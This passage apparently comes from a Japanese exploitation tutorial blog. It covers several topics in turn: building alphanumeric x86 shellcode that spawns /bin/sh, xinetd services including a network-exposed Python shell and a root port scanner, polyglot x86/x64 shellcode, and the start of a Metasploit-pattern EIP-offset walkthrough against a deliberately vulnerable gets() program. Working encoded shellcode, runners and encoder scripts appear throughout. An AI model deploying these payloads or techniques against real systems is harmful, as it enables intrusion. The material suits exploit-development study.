     mod = 01 ([reg+disp8])
     reg = 000 (al)
     r/m = 100 (SIB)
4E = 01001110
     scale = 01 (2)
     index = 001 (ecx)
     base = 110 (esi)
41 = disp8

以上をもとに、シェルコードを書くのに使える操作をまとめると次のようになる。

  • push imm32pop imm32を使い、即値をレジスタにセットする
  • popadを使い、eax, ecx, edx以外のレジスタに値をセットする
  • inc r32dec r32を使い、1ずつレジスタの値を増減させる
  • xor imm32を使い、レジスタの値をxorする
  • xor r/m8 r8を使い、スタックに置いた値をバイトごとにxorする

popにはeax、ecx、ebxしか使えないため、これらがメインに使うレジスタとなる。

pushでシェルコードをスタックに積むコードを書いてみる

とりあえず、push命令で普通のシェルコードをスタック上に並べ、jmp espで実行するコードを書いてみる。

$ echo -en '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > execve

$ od -tx4z execve
0000000 6852d231 68732f2f 69622f68 52e3896e  >1.Rh//shh/bin..R<
0000020 8de18953 80cd0b42                    >S...B...<
0000030
        /* test.s */
        .intel_syntax noprefix
        .globl _start
_start:
        push 0x80cd0b42
        push 0x8de18953
        push 0x52e3896e
        push 0x69622f68
        push 0x68732f2f
        push 0x6852d231
        jmp esp

アセンブルして実行すると、シェルが起動できていることがわかる。

$ gcc -nostdlib test.s

$ ./a.out
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

alphanumericな即値同士のxorでスタックを作ってみる

次に、alphanumericな命令のみでスタックを作ることを考えてみる。 xor命令を使い、alphanumericな即値から上と同じスタックを作るコードを書くと次のようになる。

        /* test2.s */
        .intel_syntax noprefix
        .globl _start
_start:
        push 0x30
        pop eax
        xor al, 0x30
        push eax
        push eax
        push eax  /* edx = 0 */
        push eax  /* ebx = 0 */
        push eax
        push eax
        push eax
        push eax
        popad
        dec edx   /* edx = 0xffffffff */

        /* push 0x80cd0b42 */
        push edx
        pop eax
        xor eax, 0x30413230
        xor eax, 0x4f733972
        push eax
        push esp
        pop ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        /* push 0x8de18953 */
        push edx
        pop eax
        xor eax, 0x30443030
        xor eax, 0x425a4663
        push eax
        push esp
        pop ecx
        xor [ecx], dh

        /* push 0x52e3896e */
        push ebx
        pop eax
        xor eax, 0x30443034
        xor eax, 0x6258465a
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        /* push 0x69622f68 */
        push ebx
        pop eax
        xor eax, 0x30304130
        xor eax, 0x59526e58
        push eax

        /* push 0x68732f2f */
        push ebx
        pop eax
        xor eax, 0x30304141
        xor eax, 0x58436e6e
        push eax

        /* push 0x6852d231 */
        push ebx
        pop eax
        xor eax, 0x30304141
        xor eax, 0x58626c70
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh

        jmp esp

このコードでは、まずpopad命令を使いebxに0x00000000、edxに0xFFFFFFFFをセットする。 そして、alphanumericな即値同士のxorにより必要な値を組み立てる。 ただし、alphanumericなバイト同士のxorのみでは8ビット目が立てられないため、0x80-0xFFとなるバイトについては一度スタック上に置いた値を1バイトずつdhでxorする。 また、3バイト以上0x80-0xFFが含まれるワードについては、最初に0xFFFFFFFFとxorすることで命令の数を減らしている。

ここで、ある値をalphanumericな即値と0xFFに分解するのには、次のようなコードを利用した。

# decomposite.py
import sys
import struct

word = int(sys.argv[1], 16)

allowed = range(0x30, 0x3a) + range(0x41, 0x5b) + range(0x61, 0x7b)

chunk = struct.pack('<I', word)
x = ''
y = ''
z = ''

for c in map(ord, chunk):
    if c >= 0x80:
        z += '\xff'
        c ^= 0xff
    else:
        z += '\x00'
    for i in allowed:
        if i^c in allowed:
            x += chr(i)
            y += chr(i^c)
            break

print hex(struct.unpack('<I', x)[0])
print hex(struct.unpack('<I', y)[0])
print hex(struct.unpack('<I', z)[0])

このコードを実行すると、0x80cd0b420x30413230 ^ 0x4f733972 ^ 0xffff0000のように分解できることがわかる。

$ python decomposite.py 0x80cd0b42
0x30413230
0x4f733972
0xffff0000L

できあがったコードをアセンブルして実行すると、元のコード同様にシェルが起動できていることがわかる。

$ gcc -nostdlib test2.s

$ ./a.out
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

動的にjmp espを作るコードを書いてみる

上のコードでは、まだjmp esp (ff e4) がalphanumericにできていない。 そこで、jmp espの代わりにpush esp; ret (54 c3) を使い、c3をalphanumericなバイト同士のxorで作ることを考える。 実行時に適当なレジスタがシェルコードの先頭を指していることを前提に、コードを書いてみると次のようになる。

        /* alnum.s */
        .intel_syntax noprefix
        .globl _start
_start:
        /* set buffer register to ecx */
        push eax
        pop ecx

prepare_registers:
        push 0x30
        pop eax
        xor al, 0x30
                  /* omit eax, ecx */
        push eax  /* edx = 0 */
        push eax  /* ebx = 0 */
        push eax
        push eax
        push ecx  /* esi = buffer */
        push eax
        popad
        dec edx   /* edx = 0xffffffff */

patch_ret:
        /* 0x44 ^ 0x78 ^ 0xff == 0xc3 (ret) */
        push edx
        pop eax
        xor al, 0x44
        push 0x30
        pop ecx
        dec ecx
        dec ecx
        dec ecx
        dec ecx
        dec ecx
        xor [esi+2*ecx+0x30], al

build_stack:
        /* push 0x80cd0b42 */
        push edx
        pop eax
        xor eax, 0x30413230
        xor eax, 0x4f733972
        push eax
        push esp
        pop ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        /* push 0x8de18953 */
        push edx
        pop eax
        xor eax, 0x30443030
        xor eax, 0x425a4663
        push eax
        push esp
        pop ecx
        xor [ecx], dh

        /* push 0x52e3896e */
        push ebx
        pop eax
        xor eax, 0x30443034
        xor eax, 0x6258465a
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        /* push 0x69622f68 */
        push ebx
        pop eax
        xor eax, 0x30304130
        xor eax, 0x59526e58
        push eax

        /* push 0x68732f2f */
        push ebx
        pop eax
        xor eax, 0x30304141
        xor eax, 0x58436e6e
        push eax

        /* push 0x6852d231 */
        push ebx
        pop eax
        xor eax, 0x30304141
        xor eax, 0x58626c70
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh

        push esp

ret:
        .byte 0x78

このコードでは、まず適当なレジスタに入っているシェルコードの先頭アドレスをesiレジスタにセットする。 そして、esi+2*ecx+0x30がretの位置を指すようにecxの値を調整した上で、xorにより0xc3 (ret) を動的に作る。 その後は、スタックが作られた後espへのジャンプが行われる。

アセンブルしてバイト列を表示してみると、すべてalphanumericなバイトにできていることがわかる。

$ gcc -nostdlib alnum.s

$ objdump -s a.out

a.out:     file format elf32-i386

Contents of section .note.gnu.build-id:
 8048074 04000000 14000000 03000000 474e5500  ............GNU.
 8048084 bea2a073 77a1aee3 62ee4d65 1e835118  ...sw...b.Me..Q.
 8048094 d50fd08c                             ....
Contents of section .text:
 8048098 50596a30 58343050 50505051 50614a52  PYj0X40PPPPQPaJR
 80480a8 5834446a 30594949 49494930 444e3052  X4Dj0YIIIII0DN0R
 80480b8 58353032 41303572 39734f50 54593031  X502A05r9sOPTY01
 80480c8 41303152 58353030 44303563 465a4250  A01RX500D05cFZBP
 80480d8 54593031 53583534 30443035 5a465862  TY01SX540D05ZFXb
 80480e8 50545941 30314130 31535835 30413030  PTYA01A01SX50A00
 80480f8 35586e52 59505358 35414130 30356e6e  5XnRYPSX5AA005nn
 8048108 43585053 58354141 30303570 6c625850  CXPSX5AA005plbXP
 8048118 54594130 315478                      TYA01Tx

$ strings -n8 a.out
PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx

このシェルコードの長さは135バイトである。

シェルコードにジャンプするプログラムを書いてみる

できあがったシェルコードをスタック上に置き、明示的にジャンプするプログラムを書くと次のようになる。

/* shellcode.c */

int main()
{
    char shellcode[] = "PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx";
    (*(void (*)())shellcode)();
}

DEP無効でコンパイルし、実行してみる。

$ gcc -z execstack shellcode.c

$ ./a.out
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

シェルが起動できていることが確認できた。

gdbで動作を確認してみる

gdbを使い、シェルコードの動作を確認してみる。 まずは、シェルコードが実行される直前まで進めてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) start
Temporary breakpoint 1 at 0x804840a
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x0804840a in main ()
(gdb) disp/i $pc
1: x/i $pc
=> 0x804840a <main+6>:  and    esp,0xfffffff0
(gdb) disas
Dump of assembler code for function main:
   0x08048404 <+0>:     push   ebp
   0x08048405 <+1>:     mov    ebp,esp
   0x08048407 <+3>:     push   edi
   0x08048408 <+4>:     push   esi
   0x08048409 <+5>:     push   ebx
=> 0x0804840a <+6>:     and    esp,0xfffffff0
   0x0804840d <+9>:     sub    esp,0x90
   ...
   0x08048438 <+52>:    lea    eax,[esp+0x4]
   0x0804843c <+56>:    call   eax
   0x0804843e <+58>:    mov    edx,DWORD PTR [esp+0x8c]
   ...
End of assembler dump.
(gdb) u *main+56
0x0804843c in main ()
1: x/i $pc
=> 0x804843c <main+56>: call   eax

ここで、シェルコードのアドレスはeaxレジスタに入っている。 eaxレジスタでない場合には、push eaxに対応するシェルコードの先頭1バイトを書き換えればよい。

xorによりret (0xc3) が動的に作られていることを確認してみる。

(gdb) si
0xbffff704 in ?? ()
1: x/i $pc
=> 0xbffff704:  push   eax
(gdb) x/40i $pc
=> 0xbffff704:  push   eax
   0xbffff705:  pop    ecx
   ...
   0xbffff71e:  dec    ecx
   0xbffff71f:  xor    BYTE PTR [esi+ecx*2+0x30],al
   0xbffff723:  push   edx
   ...
(gdb) b *0xbffff71f
Breakpoint 2 at 0xbffff71f
(gdb) c
Continuing.

Breakpoint 2, 0xbffff71f in ?? ()
1: x/i $pc
=> 0xbffff71f:  xor    BYTE PTR [esi+ecx*2+0x30],al
(gdb) x/bx $esi+$ecx*2+0x30
0xbffff78a:     0x78
(gdb) si
0xbffff723 in ?? ()
1: x/i $pc
=> 0xbffff723:  push   edx
(gdb) x/bx $esi+$ecx*2+0x30
0xbffff78a:     0xc3

一連の処理が終わった後、スタック上に普通のシェルコードが並べられていることを確認してみる。

(gdb) x/60i $pc
=> 0xbffff723:  push   edx
   0xbffff724:  pop    eax
   0xbffff725:  xor    eax,0x30413230
   0xbffff72a:  xor    eax,0x4f733972
   0xbffff72f:  push   eax
   ...
   0xbffff789:  push   esp
   0xbffff78a:  ret
   ...
(gdb) b *0xbffff78a
Breakpoint 3 at 0xbffff78a
(gdb) c
Continuing.

Breakpoint 3, 0xbffff78a in ?? ()
1: x/i $pc
=> 0xbffff78a:  ret
(gdb) x/8wx $esp
0xbffff6e8:     0xbffff6ec      0x6852d231      0x68732f2f      0x69622f68
0xbffff6f8:     0x52e3896e      0x8de18953      0x80cd0b42      0x306a5950

push espからのret命令により、展開されたシェルコードが実行されていることを確認してみる。

(gdb) si
0xbffff6ec in ?? ()
1: x/i $pc
=> 0xbffff6ec:  xor    edx,edx
(gdb) x/10i $pc
=> 0xbffff6ec:  xor    edx,edx
   0xbffff6ee:  push   edx
   0xbffff6ef:  push   0x68732f2f
   0xbffff6f4:  push   0x6e69622f
   0xbffff6f9:  mov    ebx,esp
   0xbffff6fb:  push   edx
   0xbffff6fc:  push   ebx
   0xbffff6fd:  mov    ecx,esp
   0xbffff6ff:  lea    eax,[edx+0xb]
   0xbffff702:  int    0x80
(gdb) c
Continuing.
process 14629 is executing new program: /bin/dash
$
[Inferior 1 (process 14629) exited normally]
(gdb) quit

関連する話題について

ここでは、xorによる実行時書き換えによってpush esp; retを作りespに制御を移した。 この方法の他にも、シェルコードがスタック上に置かれているという前提のもと、シェルコードジャンプ時のeipとespが近くになることを利用する方法もある。 具体的には、popad命令の繰り返しによりespをeipより先のアドレスに進めた後、eipが進む方向と逆向きにスタックを積み上げていく。 そして最後に、eipがその上に到達するまで0x90909090(nop命令4個)を繰り返し積み上げる。

/* eax = 0x90909090 */
50  push eax  | eip
50  push eax  |
50  push eax  |
50  push eax  v
...
...
...
...
90  nop       ^
90  nop       |
90  nop       |
90  nop       | esp
[shellcode]

また、xorとpushにより普通のシェルコードを展開したが、後続するバイト列のデコーダを展開することもできる。 すなわち、alphanumericなバイト列にエンコードしたシェルコードをデコーダの後ろに繋げ、実行時に展開されたデコーダがそれを元に戻す。 このようにすれば、汎用的な形で任意のシェルコードをalphanumeic shellcodeに変換することができる。

alphanumericなバイト列で表されるもの以外にも、0x20-0x7eの印字可能文字(printable characters)のみで表されるもの、UTF-16文字列として表されるもの、UTF-8文字列として表されるものも考えることができる。

関連リンク

xinetdでリバースポートスキャナを作る

xinetdを使うと、標準入出力を使うスクリプトなどを簡単にネットワークサーバにすることができる。 ここでは、xinetdを使ってさまざまなネットワークサーバを作ってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

インストール

Ubuntuの場合デフォルトでは入っていないので、aptリポジトリからインストールする必要がある。

$ sudo apt-get install xinetd

uptime

次のようなファイルをxinitd.confとして保存する。

service unlisted
{
       type                = UNLISTED
       socket_type         = stream
       protocol            = tcp
       wait                = no
       only_from           = localhost 192.168.0.0/16
       port                = 20020
       user                = nobody
       server              = /usr/bin/uptime
}

ここでは、only_fromエントリを使いサーバへの接続をlocalhostとプライベートネットワークからに制限している。

引数として上のファイルを指定し、デバッグモードにてサービスを起動してみる。

$ sudo xinetd -f xinetd.conf -d

別のターミナルからncコマンドやtelnetコマンドで記述したポートに接続すると、コマンドの実行結果が表示される。

$ nc localhost 20020
 11:26:50 up 10 min,  2 users,  load average: 0.25, 0.11, 0.06

ここではuptimeコマンドにより、起動時間とロードアベレージが表示される。

python shell

ソケットからの入力も扱う例として、server、server_argsエントリを次のように書き換えてみる。

       server              = /usr/bin/python
       server_args         = -i

この場合、接続するとPythonインタラクティブモードが操作できるようになる。

$ nc localhost 20020
Python 2.7.3 (default, Feb 27 2014, 20:00:17)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system('/bin/sh')
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
0
>>>

もちろん、このようなサービスをそのまま外部に公開することは危険である。 たとえば、上のようにすればシェルが操作できるようになる。

what's my ip

接続元のIPアドレスはREMOTE_HOST環境変数にセットされる。 これを利用して、server、server_argsエントリを次のように書き換えてみる。

       server              = /usr/bin/printenv
       server_args         = REMOTE_HOST

サーバを起動して別のターミナルから接続すると、接続元のIPアドレスが表示される。

$ nc localhost 20020
127.0.0.1

reverse traceroute

userエントリをrootにし、server、server_argsエントリを次のように書き換えてみる。

       user                = root
       server              = /bin/sh
       server_args         = /tmp/traceroute.sh

上で指定したシェルスクリプトには、次のような内容を書いておく。

# traceroute.sh
traceroute -I -w1 "$REMOTE_HOST"

サーバを起動して別のターミナルから接続すると、サーバから接続元へのtraceroute結果が表示される。

$ nc localhost 20020
traceroute to 127.0.0.1 (127.0.0.1), 30 hops max, 60 byte packets
 1  localhost (127.0.0.1)  0.044 ms  0.008 ms  0.008 ms

reverse port scanner

さらに次のように書き換えてみる。

       port                = 65535
       user                = root
       server              = /bin/sh
       server_args         = /tmp/nmap.sh

上で指定したシェルスクリプトには、次のような内容を書いておく。

# nmap.sh
nmap -v -sSVC -O -p-65534 "$REMOTE_HOST"

ここで、サーバを起動するポートは65535とし、スキャン対象のポート番号からは外しておく。

サーバを起動して別のターミナルから接続すると、サーバから接続元へポートスキャンをかけた結果が表示される。

$ nc localhost 65535

Starting Nmap 5.21 ( http://nmap.org ) at 2014-07-09 15:23 JST
NSE: Loaded 36 scripts for scanning.
Initiating SYN Stealth Scan at 15:23
Scanning localhost (127.0.0.1) [65534 ports]
(snip)
Nmap done: 1 IP address (1 host up) scanned in 41.25 seconds
           Raw packets sent: 65644 (2.892MB) | Rcvd: 131300 (5.521MB)

関連リンク

x86とx64の両方で動くシェルコードを書いてみる

オペコードの解釈の違いを利用し、Linux x86Linux x64の両方で動くシェルコード(polyglot shellcode)を書いてみる。

環境

Ubuntu 12.04 LTS 32bit版および64bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

x64におけるREXプレフィックス

x64では、レジスタを64bit幅として扱うとき命令の頭にREXプレフィックスと呼ばれる1バイトのプレフィックスがつけられる。 64bitのLinux上で確認してみる。

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ echo "test eax, eax" | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 85C0          test eax,eax

$ echo "test rax, rax" | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 4885C0        test rax,rax

ここでは、48がREXプレフィックスである。

一方、x86では48はdec eaxを意味する。 すなわち、x86x64では48 85 C0の解釈が異なる。

$ echo -en "\x48\x85\xc0" >hoge && objdump -M intel,x86 -D -b binary -m i386 hoge
00000000 <.data>:
   0:   48                      dec    eax
   1:   85 c0                   test   eax,eax

$ echo -en "\x48\x85\xc0" >hoge && objdump -M intel,x86-64 -D -b binary -m i386 hoge
00000000 <.data>:
   0:   48 85 c0                test   rax,rax

これを利用することで、動作しているアーキテクチャx86x64かを判定することができる。

シェルコードを書いてみる

上の違いを利用し、各アーキテクチャ用のシェルコードに分岐するシェルコードを書くと次のようになる。

        /* polyglot.s */
        .intel_syntax noprefix
        .globl _start
_start:
        xor rax, rax
        test rax, rax
        jne x86
x64:
        .ascii "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"
x86:
        .ascii "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

x86用は「Linux x86用のシェルコードを書いてみる」x64用は「x64でスタックバッファオーバーフローをやってみる」で作ったシェルコードを利用した。

64bit環境上でアセンブルしてみる。

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ gcc -nostdlib polyglot.s

$ objdump -d a.out
00000000004000d4 <_start>:
  4000d4:       48 31 c0                xor    rax,rax
  4000d7:       48 85 c0                test   rax,rax
  4000da:       75 1d                   jne    4000f9 <x86>

00000000004000dc <x64>:
  4000dc:       48 31 d2                xor    rdx,rdx
  4000df:       52                      push   rdx
  4000e0:       48 b8 2f 62 69 6e 2f    movabs rax,0x68732f2f6e69622f
  4000e7:       2f 73 68
  4000ea:       50                      push   rax
  4000eb:       48 89 e7                mov    rdi,rsp
  4000ee:       52                      push   rdx
  4000ef:       57                      push   rdi
  4000f0:       48 89 e6                mov    rsi,rsp
  4000f3:       48 8d 42 3b             lea    rax,[rdx+0x3b]
  4000f7:       0f 05                   syscall

00000000004000f9 <x86>:
  4000f9:       31 d2                   xor    edx,edx
  4000fb:       52                      push   rdx
  4000fc:       68 2f 2f 73 68          push   0x68732f2f
  400101:       68 2f 62 69 6e          push   0x6e69622f
  400106:       89 e3                   mov    ebx,esp
  400108:       52                      push   rdx
  400109:       53                      push   rbx
  40010a:       89 e1                   mov    ecx,esp
  40010c:       8d 42 0b                lea    eax,[rdx+0xb]
  40010f:       cd 80                   int    0x80

$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x48\x31\xc0\x48\x85\xc0\x75\x1d\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80

このシェルコードの長さは61バイトである。

シェルコードをファイルに書き出し、x86x64でそれぞれディスアセンブルしてみると次のようになる。

$ echo -en '\x48\x31\xc0\x48\x85\xc0\x75\x1d\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > polyglot

$ objdump -M intel,x86 -b binary -m i386 -D polyglot
00000000 <.data>:
   0:   48                      dec    eax
   1:   31 c0                   xor    eax,eax
   3:   48                      dec    eax
   4:   85 c0                   test   eax,eax
   6:   75 1d                   jne    0x25
        ...
  25:   31 d2                   xor    edx,edx
  27:   52                      push   edx
  28:   68 2f 2f 73 68          push   0x68732f2f
  2d:   68 2f 62 69 6e          push   0x6e69622f
  32:   89 e3                   mov    ebx,esp
  34:   52                      push   edx
  35:   53                      push   ebx
  36:   89 e1                   mov    ecx,esp
  38:   8d 42 0b                lea    eax,[edx+0xb]
  3b:   cd 80                   int    0x80

$ objdump -M intel,x86-64 -b binary -m i386 -D shellcode
00000000 <.data>:
   0:   48 31 c0                xor    rax,rax
   3:   48 85 c0                test   rax,rax
   6:   75 1d                   jne    0x25
   8:   48 31 d2                xor    rdx,rdx
   b:   52                      push   rdx
   c:   48 b8 2f 62 69 6e 2f    movabs rax,0x68732f2f6e69622f
  13:   2f 73 68
  16:   50                      push   rax
  17:   48 89 e7                mov    rdi,rsp
  1a:   52                      push   rdx
  1b:   57                      push   rdi
  1c:   48 89 e6                mov    rsi,rsp
  1f:   48 8d 42 3b             lea    rax,[rdx+0x3b]
  23:   0f 05                   syscall
        ...

test eax, eaxはeaxが0かどうかを判定する命令であるが、x86の場合はxor eax, eaxの後dec eaxが実行されるため、これは偽となり0x25にジャンプする。 一方、x64の場合は真となり、ジャンプは行われない。

シェルコードにジャンプするプログラムを書いてみる

スタック上に置いたシェルコードにジャンプするプログラムを書いてみる。

/* shellcode.c */
#include <stdio.h>

int main()
{
    char shellcode[] = "\x48\x31\xc0\x48\x85\xc0\x75\x1d\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
    printf("shellcode = %p\n", shellcode);
    (*(void (*)())shellcode)();
}

x86環境で、DEPを無効にしてコンパイル・実行してみる。

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ gcc -z execstack shellcode.c

$ ./a.out
shellcode = 0xbff97d3e
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

x64環境で、DEPを無効にしてコンパイル・実行してみる。

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ gcc -z execstack shellcode.c

$ ./a.out
shellcode = 0x7fff93bc6da0
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

同一のシェルコードにより、x86x64の両方でシェルが起動できていることが確認できた。

関連リンク

Metasploit patternによるEIPまでのオフセット計算

スタックバッファオーバーフロー脆弱性が存在する状況において、送り込む文字列と実際に書き変わったEIPを比べることで、EIPまでのオフセットを計算することができる。 ここでは、Metasploit pattern(あるいはcyclic pattern)と呼ばれる文字列を使ったオフセット計算をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

Metasploit Frameworkをインストールする

ここでは、Metasploit patternの生成にMetasploit付属のスクリプトを使うことにする。 ドキュメントを参考に、GithubリポジトリからMetasploitをインストールする。

$ sudo apt-get -y install \
  build-essential zlib1g zlib1g-dev \
  libxml2 libxml2-dev libxslt-dev locate \
  libreadline6-dev libcurl4-openssl-dev git-core \
  libssl-dev libyaml-dev openssl autoconf libtool \
  ncurses-dev bison curl wget postgresql \
  postgresql-contrib libpq-dev \
  libapr1 libaprutil1 libsvn1 \
  libpcap-dev

$ sudo apt-get install libsqlite3-dev  # ドキュメントから抜けている

$ sudo apt-get install ruby1.9.3       # rvmを使う代わりに直接インストール

$ cd /opt

$ sudo git clone https://github.com/rapid7/metasploit-framework.git

$ cd metasploit-framework

$ sudo gem install bundler --no-ri --no-rdoc

$ bundle install

脆弱性のあるプログラムを書いてみる

スタックバッファオーバーフロー脆弱性のあるプログラムを用意する。

/* bof.c */
#include <stdio.h>

int main()
{
    char buf[100];
    setlinebuf(stdout);
    gets(buf);
    puts(buf);
    return 0;
}

DEP有効、ASLR、SSP無効にてコンパイルする。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc -fno-stack-protector bof.c

gdbで起動し、スタックバッファオーバーフローを起こしてみる。

$ python -c 'print "A"*200'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/user/tmp/a.out
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) quit

スタックバッファオーバーフローによりEIPが 0x41414141 (AAAA) に書き変わった結果、セグメンテーション違反で落ちていることがわかる。

EIPまでのオフセットを計算してみる

pattern_create.rbを使うと、次のような文字列を生成することができる。

$ /opt/metasploit-framework/tools/pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

gdbを使い、この文字列を送り込んでみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/user/tmp/a.out
